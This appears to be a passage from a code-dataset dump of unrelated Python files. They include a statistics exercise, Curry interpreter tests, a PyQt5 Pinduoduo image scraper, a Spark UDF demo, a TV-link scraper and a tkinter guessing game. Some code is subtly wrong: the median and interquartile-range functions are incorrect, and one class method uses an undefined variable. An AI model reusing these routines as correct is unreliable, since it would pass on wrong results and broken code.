friends\")\nplt.ylabel(\"# of people\")\nplt.show()\n\n# 가장 많은/적은 친구 수 찾기\nnum_friends = [100,40,30,30,30,30,30,30,30,30,54,54,54,54,54,54,54,54,25,3,100,100,100,3,3]\nnum_points = len(num_friends)\nprint(num_points)\n\nmax_value = max(num_friends)\nmin_value = min(num_friends)\n\n# 평균 친구 수 구하기\ndef mean(x):\n return sum(x) / len(x)\n\navgOfFriends = mean(num_friends)\nprint(f'평균 친구 = {avgOfFriends}')\n\n# 중앙값(median)구하기\ndef median(v):\n n = len(v)\n sorted_v = sorted(v) # 정렬\n midpoint = n // 2\n\n if midpoint%1 == 1: # 리스트가 홀수면 가운데 값\n return sorted_v(midpoint)\n else: # 짝수면 가운데 2개 값의 평균\n lo = midpoint - 1\n hi = midpoint\n return (sorted_v[lo] + sorted_v[hi]) / 2\n\nprint(f\"중앙값 = {median(num_friends)}\")\n\n# 최대, 최소 사이의 범위\ndef data_range(x):\n return max(x) - min(x)\n\nprint(f'최대 - 최소 = {data_range(num_friends)}')\n\n# 이상치를 제외한 데이터 사이의 범위 차이\ndef quantile(x, p):\n p_index = int(p * len(x))\n return sorted(x)[p_index]\n\ndef interquartile_range(x):\n return quantile(x, 0.75) * quantile(x, 0.25)\n\n","repo_name":"ByeongjunCho/Python_ETC","sub_path":"stats/stats_1.py","file_name":"stats_1.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74280111790","text":"from curry import common\nfrom curry.utility import _tempfile\nfrom import_blocker import with_import_blocked\nfrom six.moves import cStringIO as StringIO\nimport curry, os, unittest\nimport cytest\n\n@unittest.skipIf(curry.flags['backend'] == 'cxx', 'TODO for C++')\nclass TestPyIO(cytest.TestCase):\n MONADIC_PAKCS_3_3_0 = [\n 'appendFile', 'prim_appendFile', 'prim_ioError', 'prim_putChar', 'prim_readFile'\n , 'prim_writeFile', 'print', 'putChar', 'putStr', 'putStrLn'\n , 'readFile', 'writeFile'\n ]\n MONADIC_PAKCS_3_4_1 = [\n '_impl#*>#Prelude.Applicative#Prelude.IO'\n , '_impl#<$#Prelude.Functor#Prelude.IO'\n , '_impl#<*#Prelude.Applicative#Prelude.IO'\n , '_impl#<*>#Prelude.Applicative#Prelude.IO'\n , '_impl#<|>#Prelude.Alternative#Prelude.IO'\n , '_impl#>>#Prelude.Monad#Prelude.IO'\n , '_impl#>>=#Prelude.Monad#Prelude.IO'\n , '_impl#empty#Prelude.Alternative#Prelude.IO'\n , '_impl#fail#Prelude.MonadFail#Prelude.IO'\n , '_impl#fmap#Prelude.Functor#Prelude.IO'\n , '_impl#liftA2#Prelude.Applicative#Prelude.IO'\n , '_impl#many#Prelude.Alternative#Prelude.IO'\n , '_impl#mappend#Prelude.Monoid#Prelude.IO'\n , '_impl#mconcat#Prelude.Monoid#Prelude.IO'\n , '_impl#mempty#Prelude.Monoid#Prelude.IO'\n , '_impl#pure#Prelude.Applicative#Prelude.IO'\n , '_impl#return#Prelude.Monad#Prelude.IO'\n , '_impl#some#Prelude.Alternative#Prelude.IO'\n , '_inst#Prelude.Alternative#Prelude.IO'\n , '_inst#Prelude.Applicative#Prelude.IO'\n , '_inst#Prelude.Functor#Prelude.IO'\n , '_inst#Prelude.Monad#Prelude.IO'\n , '_inst#Prelude.MonadFail#Prelude.IO'\n , '_inst#Prelude.Monoid#Prelude.IO'\n , 'appendFile'\n , 'bindIO'\n , 'catch'\n , 'doSolve'\n , 'getChar'\n , 'getLine'\n , 'getLine._#lambda512'\n , 'getLine._#lambda512._#lambda516'\n , 'getLine._#lambda512_COMPLEXCASE0'\n , 'ioError'\n , 'prim_appendFile'\n , 'prim_ioError'\n , 'prim_putChar'\n , 'prim_readFile'\n , 'prim_writeFile'\n , 'print'\n , 'putChar'\n , 'putStr'\n , 'putStrLn'\n , 'readFile'\n , 'returnIO'\n , 'writeFile'\n ]\n MONADIC = {\n (3,3,0): MONADIC_PAKCS_3_3_0\n , (3,4,1): MONADIC_PAKCS_3_4_1\n }\n\n def test_monadic_property1(self):\n stab = getattr(curry.getInterpreter().prelude, '.symbols')\n monadic_symbols = sorted([\n symbol for symbol, obj in stab.items()\n if obj.info.flags & common.F_MONADIC\n ])\n libversion = curry.config.syslibversion()\n self.assertEqual(monadic_symbols, self.MONADIC[libversion])\n\n def test_monadic_property2(self):\n Test = curry.compile(\n '''\n main = do\n x <- return (\"Hello, \" ++ \"World!\")\n putStr x\n '''\n , modulename='Test'\n )\n self.assertTrue(Test.main.icurry.metadata['all.monadic'])\n\n def test_ioHello(self):\n Test = curry.compile(\n '''\n main = do\n x <- return (\"Hello, \" ++ \"World!\")\n putStr x\n '''\n , modulename='Test'\n )\n stdout = StringIO()\n curry._interpreter_.stdout = stdout\n out = curry.eval([Test.main])\n result = next(out)\n self.assertEqual(stdout.getvalue(), \"Hello, World!\")\n self.assertEqual(str(result), '()')\n\n @cytest.with_flags(defaultconverter='topython')\n def test_readfile(self):\n goal = curry.compile('readFile \"data/sample.txt\"', 'expr')\n result = list(curry.eval(goal))\n self.assertEqual(\n result, [\"this is a file\\ncontaining sample text\\n\\n(the end)\\n\"]\n )\n\n def test_writefile(self):\n with _tempfile.TemporaryDirectory() as tmpdir:\n cwd = os.getcwd()\n os.chdir(tmpdir)\n try:\n txt = ('djiod', r' and finally,...')\n goal = curry.compile('writeFile \"file.txt\" (\"%s\" ++ \"%s\")' % txt, 'expr')\n next(curry.eval(goal))\n self.assertEqual(cytest.readfile('file.txt'), ''.join(txt))\n\n goal = curry.compile('writeFile \"file.txt\" (\"%s\" ? \"%s\")' % txt, 'expr')\n self.assertRaisesRegex(\n curry.EvaluationError\n , r'non-determinism in monadic actions occurred'\n , lambda: list(curry.eval(goal))\n )\n finally:\n os.chdir(cwd)\n\n @cytest.setio(stdout='')\n def test_nd_io(self):\n goal = curry.compile(\"putChar ('a' ? 'b')\", 'expr')\n self.assertRaisesRegex(\n curry.EvaluationError\n , r'non-determinism in monadic actions occurred'\n , lambda: list(curry.eval(goal))\n )\n\n @cytest.setio(stdout='')\n def test_nd_io2(self):\n goal = curry.compile('''putStrLn (\"one\" ? \"two\")''', 'expr')\n self.assertRaisesRegex(\n curry.EvaluationError\n , r'non-determinism in monadic actions occurred'\n , lambda: list(curry.eval(goal))\n )\n\n @cytest.with_flags(defaultconverter='topython')\n def test_io_error(self):\n goal = curry.compile('readFile \"nofile\"', 'expr')\n self.assertRaisesRegex(\n IOError\n , r\"\\[Errno 2\\] No such file or directory: 'nofile'\"\n , lambda: list(curry.eval(goal))\n )\n\n @cytest.with_flags(defaultconverter='topython')\n def test_catch(self):\n goal = curry.compile('readFile \"nofile\" <|> return \"nothing\"', 'expr')\n self.assertEqual(list(curry.eval(goal)), [\"nothing\"])\n\n @cytest.with_flags(defaultconverter='topython')\n def test_ioError(self):\n from curry.utility import maxrecursion\n with maxrecursion():\n goal = curry.compile('readFile \"nofile\" `catch` ioError', 'expr')\n self.assertRaisesRegex(\n curry.EvaluationError\n , r\"i/o error: \\[Errno 2\\] No such file or directory: 'nofile'\"\n , lambda: list(curry.eval(goal))\n )\n\n @cytest.with_flags(defaultconverter='topython')\n def test_readFile(self):\n readFile = curry.symbol('Prelude.readFile')\n self.assertEqual(\n list(curry.eval(readFile, \"data/sample.txt\"))\n , ['this is a file\\ncontaining sample text\\n\\n(the end)\\n']\n )\n\n @with_import_blocked('mmap')\n def test_readFile_no_mmap(self):\n self.test_readFile()\n\n @cytest.with_flags(defaultconverter='topython')\n @cytest.setio(stdin='muh\\ninput\\n')\n def test_getChar(self):\n getChar = curry.symbol('Prelude.getChar')\n self.assertEqual(list(curry.eval(getChar)), ['m'])\n\n @cytest.setio(stdout='')\n def test_putChar(self):\n putChar = curry.symbol('Prelude.putChar')\n IO = curry.symbol('Prelude.IO')\n Unit = curry.symbol('Prelude.()')\n self.assertEqual(list(curry.eval(putChar, 'x')), [curry.raw_expr(Unit)])\n self.assertEqual(curry.getInterpreter().stdout.getvalue(), 'x')\n","repo_name":"andyjost/Sprite","sub_path":"tests/unit_py_io.py","file_name":"unit_py_io.py","file_ext":"py","file_size_in_byte":6513,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"27774377255","text":"\"\"\"\n@author:Administrator\n@file:main.py\n@time:2020/05/09\n\"\"\"\n\nimport sys\n\nfrom PyQt5.QtCore import QFileInfo\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMessageBox, QFileDialog\nfrom PyQt5.QtGui import QIcon\nfrom Win_Ui import Ui_Form # main界面\nfrom Spider import SpiderPdd # 爬虫\nimport load_excel # 文本处理\nimport ctypes\n\n\nclass Main(QWidget):\n def __init__(self, parent=None):\n super().__init__(parent)\n self.ui = Ui_Form()\n self.ui.setupUi(self)\n self.show_UI()\n self.sp = SpiderPdd()\n self.dia_log = QFileDialog()\n self.excel = load_excel\n\n\n def show_UI(self):\n \"\"\" 附加UI \"\"\"\n root = QFileInfo(__file__).absolutePath()\n self.setWindowTitle(\"拼多多爬虫\")\n self.setWindowIcon(QIcon(r'./pdd.ico'))\n self.resize(964, 635) # 设置尺寸表\n self.setFixedSize(964, 635) # 设置固定尺寸\n\n def get_line_url(self):\n \"\"\"1. 获取用户输入的url\"\"\"\n url = self.ui.url_ipt.text()\n url = url.strip() # 清除空格\n print('main: get_line_url: 成功获取 1 url')\n return url\n\n def get_save_image_path(self):\n \"\"\"2. 获取用户输入的保存文件路径\"\"\"\n print('main: get_save_image_path: 开始获取保存路径成功')\n save_image_path = self.ui.line_url_save.text()\n save_image_path = r'{}'.format(save_image_path.strip()) # 去除空格并转义\n print('main: get_save_image_path: 正在获取保存路径成功')\n if save_image_path == '':\n QMessageBox.information(self, '提示', '未选择保存路径', QMessageBox.Ok)\n print('main: get_save_image_path: 错误,未选择保存路径')\n raise FileNotFoundError('错误556')\n print('main: get_save_image_path: 获取保存路径成功')\n return save_image_path\n\n def get_ipt_cookie(self):\n \"\"\"2-1. 获取用户输入的cookies,没有则不返回\"\"\"\n print('main: get_ipt_cookie: 开始获取用户cookie')\n cookie = self.ui.lineEdit.text()\n print('main: get_ipt_cookie: 正在获取用户cookie')\n if cookie == '':\n QMessageBox.information(self, '提示', '未输入cookie', QMessageBox.Ok)\n print('main: get_ipt_cookie: 用户cookie未输入')\n return 0\n print('main: get_ipt_cookie: 获取用户cookie成功')\n return cookie\n\n def info_image_url(self):\n \"\"\"3. url 输入有误提示\"\"\"\n QMessageBox.information(self, '提示', '图片地址有误已,请重新输入', QMessageBox.Ok)\n\n def get_excel_path(self):\n \"\"\"3-2. 用户未输入url,主动抛出导入文件\"\"\"\n global name\n try:\n print('main: get_excel_path: 开始获取excel数据')\n filenames = self.dia_log.getOpenFileName(self, 'open file', '../', 'xlsx(*.xlsx)')\n print('main: get_excel_path: 获得表明,开始打开excel数据')\n name = filenames[0]\n name = r'{}'.format(name)\n print('main: get_excel_path: excel数据获取成功')\n return self.get_excel_url(name)\n except FileNotFoundError as e:\n print('main: get_excel_path: 错误, excel数据获失败')\n print(e)\n pass\n\n def get_excel_url(self, name):\n \"\"\"3-2-1. 获取单独的url\"\"\"\n print('main: get_excel_path: 开始获取真正excel数据')\n item_urls = self.excel.OpenExcel(book_name=name).run()\n print('main: get_excel_path: 成功获取真正excel数据')\n return item_urls\n\n def start_spider(self, url, save_image_path, cookie):\n \"\"\"4. 开始爬虫获取图片\"\"\"\n print('main: 爬虫开始')\n status = self.sp.run(url=url, path_image=save_image_path, cookie=cookie)\n print('main: 爬虫结束')\n return status\n\n def save_excel(self, url_status):\n \"\"\"5. 保存爬取成功的\"\"\"\n print('main: save_excel: 开始更改excel信息')\n for i in url_status:\n if i['status'] == 1:\n self.excel.OpenExcel(book_name=name).modify_excel(i['rown'])\n print('main: save_excel: 更改excel信息 成功')\n else:\n print('main: save_excel: 更改excel信息 意外')\n pass\n\n def run(self):\n try:\n # 1. 获取用户输入的url\n print('main: 开始')\n url = self.get_line_url()\n # 2. 获取用户保存的路径\n print('main: 获取用户输入的保存路径')\n save_image_path = self.get_save_image_path()\n # 2-1. 获取用户输入的cookie\n print('main: 获取cookie')\n cookie = self.get_ipt_cookie()\n if cookie == 0:\n print('main: 用户cookie未输入')\n self.ui.lineEdit.clear()\n print('main: 错误,用户cookie未输入')\n raise FileNotFoundError('错误555')\n else:\n # 3. 如果用户url输入有误,提醒用户重新输入\n if url == '':\n print('main: 用户未输入url')\n try:\n QMessageBox.information(self, '提示', '未添加单个url,将选择导入excel', QMessageBox.Ok)\n # 3-2, 用户未输入url,主动抛出导入excel表格\n url_status = []\n print('main: 获取excel表格数据')\n item_urls = self.get_excel_path()\n print('main: 表格数据获取成功,正在清洗,获取单个url')\n for i in item_urls:\n url_item = {'编号': '', '名称': '', 'url': '', 'type': '', 'rown': '', 'status': ''}\n url = i['url']\n print('main: 开始访问批量 1 url~~~')\n status = self.start_spider(url=url, save_image_path=save_image_path, cookie=cookie)\n url_item['编号'] = i['编号']\n url_item['名称'] = i['名称']\n url_item['url'] = i['url']\n url_item['type'] = i['type']\n url_item['rown'] = i['rown']\n url_item['status'] = status\n url_status.append(url_item)\n\n self.ui.progressBar.setValue(80)\n print('main: 开始存入表格')\n self.save_excel(url_status)\n print('main: 保存完成')\n status = 1\n except Exception as e:\n print('main: 错误 获取excel失败')\n print(e)\n pass\n status = 2\n\n elif url[:4] == 'http':\n # 3-1. 用户输入正确的url,爬虫开始\n # 4. 爬虫开始\n self.ui.progressBar.setValue(50)\n print('main: 开始访问单个url')\n status = self.start_spider(url=url, save_image_path=save_image_path, cookie=cookie)\n print('main: 单个url爬虫成功')\n else:\n # 3-3. 输入错误,需重新输入\n print('main: 错误,用户url输入错误')\n self.info_image_url()\n status = 0\n\n if status == 1:\n # 当前图片下载完成\n print('main: 程序即将结束,完美运行')\n self.ui.progressBar.setValue(100)\n QMessageBox.information(self, '提示', '图片已成功下载', QMessageBox.Ok)\n elif status == 2:\n print('main: 程序即将结束,程序出错')\n QMessageBox.information(self, '提示', '图片下载失败,请稍后重试', QMessageBox.Ok)\n else:\n print('main: 用户输入的不是url')\n self.ui.url_ipt.clear()\n except FileNotFoundError as e:\n print('main: 整体错误')\n print(e)\n pass\n\n\nif __name__ == '__main__':\n ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID(\"main\")\n app = QApplication(sys.argv)\n ma = Main()\n ma.show()\n sys.exit(app.exec_())\n","repo_name":"Seven-zero0/Spider_Pdd","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8537,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"38"} +{"seq_id":"71855342831","text":"\n# http://www.pythonchallenge.com/pc/def/oxygen.html\n\n# This challenge doesn't give us any useful info.\n# because of this, im assuming we need to use the\n# image library in python.\n\nfrom PIL import Image\n\n\nimage = Image.open(\"challenge_7_oxygen.png\")\n\ny = 48\nend = 607\nstep = 7 \n\n# The image has a like of segmented blocks of grays and blacks.\n# This made me think i could just extract the RGB code for them \n# and convert that number to the character equivalent\nfor x in range(0, end, step):\n print(chr(image.getpixel((x,y))[0]), end=\"\")\n# this gives: \n# smart guy, you made it. the next level is \n# [105, 110, 116, 101,103, 114, 105, 116, 121]\n\nmy_array = [105, 110, 116, 101,103, 114, 105, 116, 121]\nanswer = \"\"\n\n# converts each decimal in array to its character equivalent\nfor x in my_array:\n answer += chr(x)\n\nprint(\"\\n\\n\" + answer)","repo_name":"AlecVosika/Python-Challenge","sub_path":"python_challenge_7.py","file_name":"python_challenge_7.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21009046249","text":"\"\"\"\nDefinition of TreeNode:\n\"\"\"\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\nclass BSTIterator:\n \"\"\"\n @param: root: The root of binary tree.\n \"\"\"\n def __init__(self, root):\n # do intialization if necessary\n self.stack = []\n if root == None:\n return\n cur = root\n while cur != None:\n self.stack.append(cur)\n cur = cur.left\n\n \"\"\"\n @return: True if there has next node, or false\n \"\"\"\n def hasNext(self, ):\n # write your code here\n return len(self.stack) > 0\n\n \"\"\"\n @return: return next node\n \"\"\"\n def next(self, ):\n # write your code here\n if len(self.stack) == 0:\n return None\n node = self.stack[-1]\n self.stack.pop(-1)\n cur = node.right\n while cur != None:\n self.stack.append(cur)\n cur = cur.left\n return node\n\n\n\"\"\"\nExample of iterate a tree:\n\"\"\"\n\nroot = TreeNode(1)\nroot.left = TreeNode(-3)\nroot.right = TreeNode(8)\nroot.right.left = TreeNode(4)\nroot.right.left.right = TreeNode(5)\n\n\niterator = BSTIterator(root)\nwhile iterator.hasNext():\n node = iterator.next()\n print(node.val)\n","repo_name":"yehongyu/acode","sub_path":"2019/binary_tree/binary_search_tree_iterator_86.py","file_name":"binary_search_tree_iterator_86.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13464338525","text":"############################################################################\n# There are two ways to create UDF in spark :\n# 1> Using Column Object Expression (not registered in catalog)\n# 2> Using SQL Expressions (registered in catalog)\n##############################################################################\n# Lets consider the below data :\n# Abhishek,30,Bengaluru\n# Akanksha,27,Pune\n# Ayantika,2,Pune\n# Swati,32,Bengaluru\n# Kush,3,Bengaluru\n# we need to add a 4th column where if age > 18 we need to populate Y else N\n\nfrom pyspark import SparkConf\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, expr\nfrom pyspark.sql.types import StringType\n\ndata = [[\"Abhishek\", 30, \"Bengaluru\"],\n [\"Akanksha\", 27, \"Pune\"],\n [\"Ayantika\", 2, \"Pune\"],\n [\"Swati\", 32, \"Bengaluru\"],\n [\"Kush\", 3, \"Bengaluru\"]]\n\nspark_conf = SparkConf().setAppName(\"UDF\").setMaster(\"local[*]\")\nspark = SparkSession.builder.config(conf=spark_conf).getOrCreate()\n\n\ndef age_check(age):\n if age > 18:\n return \"y\"\n else:\n return \"N\"\n\n\ndata_df = spark.createDataFrame(data, (\"name\", \"age\", \"city\"))\n\n# Using Column Object Expression:\n\ncheck_age_func = udf(age_check, StringType()) # define udf\ndata_df.withColumn(\"isAdult\", check_age_func(data_df.age)).show()\n\n# using SQL expression :\n\nspark.udf.register(\"check_age_function\", age_check, StringType())\n\n# for a_function in spark.catalog.listFunctions():\n# print(a_function)\n\ndata_df.withColumn(\"isAdult\", expr(\"check_age_function(age)\")).show()\n\nspark.stop()\n","repo_name":"abhishekvirensingh/abhishekvirensingh","sub_path":"general_pyspark_python_codes/general_codes/pyspark_codes/spark_user_defined_funtions.py","file_name":"spark_user_defined_funtions.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3733234097","text":"\nclass Automovil:\n def __init__(self, modelo, marca, color):\n self.modelo = modelo\n self.marca = marca\n self.color = color\n self._estado = \"reposo\"\n self._motor = Motor(cilindros = 4)\n\n def aceleracion(self, velocidad):\n if velocidad > 120:\n return \"we can't do that\"\n else:\n gasolina = 0.08 * (velocidad ** 2)\n self._motor.inyecta_gasolina(gasolina)\n self._estado = \"en movimiento\"\n\n\n\nclass Motor:\n def __init__(self, cilindros, tipo = 'gasolina'):\n self.cilindros = cilindros\n self.tipo = tipo\n self._temperatua = 0\n self._cantidad_gasolina = 0\n\n def inyecta_gasolina(self, cantidad):\n return _cantidad_gasolina - cantidad\n\n\n","repo_name":"Coragg/POO-python","sub_path":"My code/descompocion.py","file_name":"descompocion.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14683414248","text":"# encoding:utf-8\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport threadpool\nimport sys\nimport getopt\n\ns = requests.session()\n\n\ndef tvLists():\n basicUrl = 'http://www.zhuixinfan.com/main.php?mod=viewall&action=tvplay&area=1&alpha=&orderby=fp_date&sort=DESC&inajax=1'\n r = s.get(url=basicUrl)\n tmpData = (((r.text).replace('', '')).replace(\"\", \"\")\n soup = BeautifulSoup(tmpData, \"lxml\")\n tvs = soup.select(\"tr\")\n for tv in tvs:\n href = tv.select(\".td2 > a\")[1]['href']\n name = tv.select(\".td2 > a\")[1].string\n status = tv.select(\".td4\")[0].string\n print(href,name,status)\n\n\ndef searchTv(pid):\n basicUrl = \"http://www.zhuixinfan.com/viewtvplay-\" + str(pid) + \".html\"\n r = s.get(url=basicUrl)\n soup = BeautifulSoup(r.content, 'html5lib')\n downData = soup.select(\"#ajax_tbody > tr\")\n downUrls = []\n for i in downData:\n downUrl = \"http://www.zhuixinfan.com/\" + i.select(\".td2 > a\")[0]['href']\n downUrls.append(downUrl)\n pool = threadpool.ThreadPool(len(downUrls) if len(downUrls) < 4 else 4)\n tasks = threadpool.makeRequests(downPage, downUrls)\n [pool.putRequest(task) for task in tasks]\n pool.wait()\n\n\ndef downPage(downUrl):\n downDataUrl = []\n r = s.get(url=downUrl)\n soup = BeautifulSoup(r.content, 'html5lib')\n name = soup.select(\"#pdtname\")[0].string\n downDataUrl.append(name)\n if soup.select(\"#emule_url\"):\n downDataUrl.append(soup.select(\"#emule_url\")[0].string)\n if soup.select(\"#torrent_url\"):\n downDataUrl.append(soup.select(\"#torrent_url\")[0].string)\n print(name + \" 下载地址:\" + downDataUrl[2])\n\n\ndef star():\n run_search = False\n tv_id = ''\n if len(sys.argv) < 2:\n print(\"缺少参数 -t 请检查后重试\")\n sys.exit(2)\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"t:\")\n except getopt.GetoptError:\n print(\"ZhuiXinFan.py -t \")\n sys.exit(2)\n for opt, arg in opts:\n if opt in '-t':\n tv_id = arg\n run_search = True\n if run_search:\n searchTv(tv_id)\n\n\nif __name__ == '__main__':\n star()\n","repo_name":"william-sv/spider","sub_path":"movie/ZhuiXinFan.py","file_name":"ZhuiXinFan.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27276100552","text":"from django.urls import path\r\nfrom . import views\r\n\r\n\r\nurlpatterns = [\r\n path('register/', views.register),\r\n path('send_code/', views.get_code),\r\n path('login_vaild/', views.login_vaild),\r\n path('login_pwd/', views.login_pwd),\r\n path('logout/', views.logout),\r\n path('set_pwd', views.set_pwd)\r\n]","repo_name":"kong0101/news","sub_path":"news__/mainapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9765879110","text":"import yaml\nimport os\n\n\nclass YamlUtil(object):\n def get_object_path(self):\n \"\"\"\n\n :return:返回父级目录路径\n \"\"\"\n return os.path.abspath(os.getcwd())\n\n def read_config_file(self, file, one_node, two_node):\n \"\"\"\n\n :param file: 文件绝对路径\n :param one_node:父节点\n :param two_node:子节点\n :return:子节点的值\n \"\"\"\n file_path = YamlUtil().get_object_path() + file\n with open(file_path, encoding='utf-8') as f:\n value = yaml.load(stream=f, Loader=yaml.FullLoader)\n return value[one_node][two_node]\n\n # 读取extract.yml文件\n def read_extract_file(self, file, node_name):\n \"\"\"\n 读取yaml文件中的数据\n :param file:文件名\n :param node_name:读取的key\n :return:\n \"\"\"\n file_path = YamlUtil().get_object_path() + file\n with open(file_path, encoding='utf-8') as f:\n value = yaml.load(stream=f, Loader=yaml.FullLoader)\n return value[node_name]\n\n def write_extract_file(self, file, data):\n \"\"\"\n 写入全局变量至yaml文件\n :param file: 文件名\n :param data: 写入的数据\n :return: None\n \"\"\"\n file_path = YamlUtil().get_object_path() + file\n with open(file_path, encoding='utf-8', mode='a') as f:\n yaml.dump(data, stream=f, allow_unicode=True)\n\n def clear_extract_file(self, file, data):\n \"\"\"\n 清除yaml文件内容\n :param file:\n :param data:\n :return:None\n \"\"\"\n file_path = YamlUtil().get_object_path() + file\n with open(file_path, encoding='utf-8', mode='w') as f:\n f.truncate()\n\n\nif __name__ == '__main__':\n result = YamlUtil().read_config_file(f\"\\\\test_case\\\\test_login\\\\login.yaml\", 'login', 'name')\n print(result)\n\n","repo_name":"Sunnycao01/AutoTest","sub_path":"common/yaml_util.py","file_name":"yaml_util.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22666473447","text":"import nems.db as nd\nimport numpy as np\n\nfrom settings import B302_sites, B307_sites, B324_sites\n\nsites = [B302_sites, B307_sites, B324_sites]\nbatches = [302, 307, 324]\n\nforce_rerun = True\n\nmodellist = [\n 'leaveOneOut_pp-zscore_dDR2-allTargets-noise.target-mask.h+c+m+i+p_wopt-mask.h+c+m+i+p',\n]\n\nscript = '/auto/users/hellerc/code/projects/corr_beh_ms/decoding/leave_one_out_cache.py'\npython_path = '/auto/users/hellerc/anaconda3/envs/lbhb/bin/python'\n\nfor batch, site in zip(batches, sites):\n nd.enqueue_models(celllist=site,\n batch=batch,\n modellist=modellist,\n executable_path=python_path,\n script_path=script,\n user='hellerc',\n force_rerun=force_rerun,\n reserve_gb=1)","repo_name":"crheller/corr_beh_ms","sub_path":"decoding/queue_loocv_jobs.py","file_name":"queue_loocv_jobs.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"590079296","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport random\nfrom warnings import showwarning\n\nwindow = tk.Tk()\n\ncorrect_number = str(random.randint(1, 8))\nprint(f\"Correct Number: {correct_number}\")\nattempts = 0\n\nbox = ttk.Entry()\n\n########################################\n# Dinamic Labels\n\ne_first_try = tk.Label(text = \"First Try\", font = (\"Arial\", 15), fg = \"red\")\ne_second_try = tk.Label(text = \"Second Try\", font = (\"Arial\", 15), fg = \"red\")\ne_third_try = tk.Label(text = \"Third Try\", font = (\"Arial\", 15), fg = \"red\")\ne_fourth_try = tk.Label(text = \" One Last try\", font = (\"Arial\", 15), fg = \"red\")\ne_you_lose = tk.Label(text = \"¡You lose!\", font = (\"Arial\", 25), fg = \"red\")\ne_you_win = tk.Label(text = \"¡You win!\", font = (\"Arial\", 25), fg = \"green\")\ne_even_number = tk.Label(text = \"¡Even Number!\", font = (\"Arial\", 10), fg = \"blue\")\ne_odd_number = tk.Label(text = \"¡Odd Number!\", font = (\"Arial\", 10), fg = \"blue\")\n\n\n########################################\n# Functions\n\ndef delete_odd_number():\n if e_odd_number:\n e_odd_number.place_forget()\n\n\ndef delete_even_number():\n if e_even_number:\n e_even_number.place_forget()\n\ndef give_a_hint():\n if correct_number == \"1\" or correct_number == \"3\" or correct_number == \"5\" or correct_number == \"7\":\n e_odd_number.place(x = 5, y = 30)\n window.after(1100, delete_odd_number)\n \n elif correct_number == \"2\" or correct_number == \"4\" or correct_number == \"6\" or correct_number == \"8\":\n e_even_number.place(x = 5, y = 30)\n window.after(00, delete_even_number())\n \n\ndef delete_labels():\n e_first_try.place_forget()\n e_second_try.place_forget()\n e_third_try.place_forget()\n e_fourth_try.place_forget()\n e_you_lose.place_forget()\n\n\ndef main():\n global box\n global correct_number\n global attempts\n\n print(correct_number)\n\n\n while attempts < 5:\n inside_box = box.get()\n\n if inside_box != correct_number:\n print(f\"Inside box: {inside_box}\")\n attempts += 1\n box.delete(0, tk.END)\n\n if attempts == 1:\n e_first_try.place (x = 250, y = 60)\n elif attempts == 2:\n e_second_try.place (x = 250, y = 100)\n elif attempts == 3:\n e_third_try.place (x = 250, y = 140)\n elif attempts == 4:\n e_fourth_try.place (x = 250, y = 180)\n\n print(f\"Attempt N°: {attempts}\")\n\n if attempts == 5:\n # Label\n e_you_lose.place(x= 130, y = 210)\n\n # Question\n wrong_answer = messagebox.askyesno(title = \"¡Game Over!\", message=\"¿Do you want to play again?\")\n\n if wrong_answer:\n delete_labels()\n e_you_win.place_forget()\n correct_number = str(random.randint(1, 8))\n print(f\"Correct number: {correct_number:}\")\n \n box.delete(0, tk.END)\n attempts = -1\n else:\n messagebox.showinfo(message=\"Thanks for playing\")\n return quit()\n else:\n break\n\n elif inside_box == correct_number:\n print(f\"Inside box: {inside_box}\")\n\n # Label\n e_you_win.place(x= 125, y = 210)\n\n # Question\n correct_answer = messagebox.askyesno(title=\"¡You Win!\", message=\"¿Do you want to play again?\")\n\n if correct_answer:\n delete_labels()\n e_you_win.place_forget()\n correct_number = str(random.randint(1, 8))\n print(f\"Correct Number: {correct_number:}\")\n\n box.delete(0, tk.END)\n attempts = 0\n \n else:\n messagebox.showinfo(message=\"Thanks for playing\")\n return quit()\n break \n return\n\n \n\n\ndef one():\n global box\n global correct_number\n global attempts\n box.insert(tk.END, 1)\n \n \n main()\n \n\n\ndef two():\n global box\n global correct_number\n global attempts\n box.insert(tk.END, 2)\n\n main()\n\n \n\ndef three():\n global box\n global correct_number\n global attempts\n box.insert(tk.END, 3)\n\n main()\n \n\ndef four():\n global box\n global correct_number\n global attempts\n box.insert(tk.END, 4)\n\n main()\n \n\ndef five():\n global box\n global correct_number\n global attempts\n box.insert(tk.END, 5)\n\n main()\n \n\ndef six():\n global box\n global correct_number\n global attempts\n box.insert(tk.END, 6)\n\n main()\n \n\ndef seven():\n global box\n global correct_number\n global attempts\n box.insert(tk.END, 7)\n\n main()\n \n\ndef eight():\n global box\n global correct_number\n global attempts\n box.insert(tk.END, 8)\n\n main()\n 